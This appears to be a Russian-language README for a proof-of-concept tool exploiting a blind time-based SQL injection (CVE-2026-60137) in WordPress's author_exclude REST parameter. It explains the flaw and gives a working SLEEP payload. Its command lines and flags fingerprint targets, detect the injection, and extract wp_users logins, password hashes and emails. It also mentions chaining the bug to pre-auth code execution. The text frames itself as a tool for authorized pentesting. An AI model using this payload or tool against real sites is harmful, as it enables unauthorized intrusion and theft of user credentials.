
Неразрушающий proof-of-concept и проверочный стенд для CVE-2026-60137 — слепой SQL-инъекции в ядре WordPress (`WP_Query::author__not_in`), достижимой через параметр `author_exclude` REST API.
Неразрушающий proof-of-concept и проверочный инструмент для CVE-2026-60137 —
слепой SQL-инъекции в ядре WordPress (WP_Query::author__not_in), доступной через
параметр author_exclude REST API.
WP_Query::get_posts() строит SQL, конкатенируя строковое представление переменной запроса author__not_in в:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
Значение очищается (поэлементный absint) только если приходит в виде массива. Если передана скалярная строка — параметр REST author_exclude внутри отображается на author__not_in — защитная проверка пропускается, и необработанная строка попадает в выражение , что приводит к SQL-инъекции ().
is_array()NOT IN (...)Полезная нагрузка вида 1) OR SLEEP(6)# создаёт:
post_author NOT IN ( 1) OR SLEEP(6)# )
которая парсится как post_author NOT IN (1) OR SLEEP(6) (хвостовая ) поглощается комментарием #) — чистый time-based blind oracle без единой операции записи в базу данных.
| Подверженные версии | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Исправлено | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (автономный вектор) |
| В связке | с CVE-2026-63030 (путаница пакетных маршрутов REST) → 9.8 RCE до аутентификации на версиях 6.9.0 – 7.0.1 |
/wp-json/batch/v1.author_exclude (HTTP 400) на стандартном маршруте записей, поэтому точка внедрения обычно достижима только когда плагин/тема передаёт недоверенные входные данные, либо через аутентифицированную сессию (--cookie) с использованием пакетного маршрута.cve_2026_60137_poc.py работает с базой данных только на чтение:
readme.html, индекс /wp-json/), чтобы проверить, входит ли версия в затронутый диапазон.SLEEP(0) против нагрузки SLEEP(n), через несколько векторов доставки (прямые REST-маршруты, ?rest_route= и пакетная конечная точка), и выдаёт вердикт по каждому вектору.wp_users (user_login, user_pass, user_email) через слепой бинарный поиск по времени, строго используя SELECT/SLEEP — скрипт никогда не выполняет запись в базу данных.# Только снять отпечаток, нагрузки не отправляются
python3 cve_2026_60137_poc.py --url https://target --safe
# Запустить матрицу обнаружения
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Аутентифицированная сессия + извлечение строки wp_users 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Через Burp, без проверки TLS, сохранить машиночитаемые свидетельства
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| Флаг | По умолчанию | Описание |
|---|---|---|
--url | обязательно | Базовый URL цели |
--safe | off | Только снять отпечаток; не отправлять нагрузки |
--sleep | 6 | Секунд SLEEP(), используемых оракулом обнаружения |
--samples | 3 | Замеров времени на одно измерение (используется медиана) |
--threshold | 0.7 | Доля от --sleep, считающаяся положительным отклонением |
--extract | off | Извлечь строку wp_users через слепой оракул |
--user-id | 1 | Извлекаемый wp_users.ID |
--extract-sleep | 2.0 | Секунд SLEEP() на каждый извлекающий запрос |
--limit | 64 | Максимальное число символов на извлекаемое поле |
--only-vector | — | Тестировать только векторы, чьё имя содержит эту строку |
--cookie | — | Аутентифицирующий cookie для векторов, требующих входа |
--proxy | — | HTTP(S)-прокси, например http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Таймаут запроса в секундах |
--no-verify-tls | off | Отключить проверку TLS-сертификата |
--json-out | — | Записать машиночитаемые свидетельства в JSON-файл |
Этот инструмент предназначен исключительно для авторизованного тестирования безопасности — пентестов, CTF и исследований систем, которыми вы владеете или на проверку которых у вас есть явное письменное разрешение. Запуск его против систем без авторизации незаконен. Автор не несёт ответственности за неправомерное использование.
Любые данные, записанные с помощью --json-out, могут содержать протестированный URL, отпечаток версии и тайминговые свидетельства — относитесь к ним как к конфиденциальным данным тестирования.